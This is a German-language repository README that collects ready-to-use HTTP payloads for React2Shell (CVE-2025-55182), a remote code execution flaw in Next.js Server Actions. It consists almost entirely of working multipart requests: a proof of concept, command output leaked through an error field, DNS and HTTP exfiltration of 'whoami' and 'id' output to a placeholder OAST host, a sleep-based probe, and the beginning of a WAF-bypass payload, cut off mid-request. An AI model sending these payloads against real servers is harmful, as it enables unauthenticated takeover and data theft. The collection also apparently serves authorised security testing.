REACT2SHELL (CVE-2025-55182)

React2Shell (CVE-2025-55182) ist eine kritische Remote-Code-Ausführungs-Schwachstellenkette (RCE), die Next.js-Anwendungen betrifft, die Server Actions verwenden. Die Schwachstelle nutzt eine Prototyp-Verschmutzungslücke in Kombination mit Server Actions aus, um eine nicht authentifizierte, beliebige Codeausführung auf dem Server zu erreichen.

Dieses Repository widmet sich dem Teilen von React2Shell-Payloads und -Bypässen. PRs/Beiträge sind jederzeit willkommen!

Ressourcen

Nachfolgend finden Sie weitere nützliche Ressourcen:

• React2Shell-Scanner von Assetnote: https://github.com/assetnote/react2shell-scanner
• Nuclei-Vorlage: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-55182.yaml

Payloads

Originaler Proof of Concept

Alle Credits gehen an @maple3142 für die ursprüngliche Offenlegung des Proof of Concept, die in diesem GitHub Gist zu finden ist:

POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Vollständige RCE mit Ausgabe über Fehlermeldung (digest-Feld)

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

Auslösen einer externen DNS-Abfrage

Ersetzen Sie <OAST_SERVER> mit dem Hostnamen Ihres OAST-Servers.

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('nslookup <OAST_SERVER>');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

DNS-Exfiltration

Ersetzen Sie <OAST_SERVER> mit dem Hostnamen Ihres OAST-Servers.

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('nslookup `whoami`.<OAST_SERVER>');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

HTTP-Exfiltration

Ersetzen Sie <OAST_SERVER> mit dem Hostnamen Ihres OAST-Servers.

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('wget http://<OAST_SERVER>/?e=$`id`');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

Auslösen einer Zeitverzögerung

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('sleep 10');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

WAF-Bypass mit String-Verkettung und Kodierung

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: m9x4k7p2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
X-Nextjs-Html-Request-Id: R8tY5uI2oP6aS3dF
Content-Length: 750

------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="0"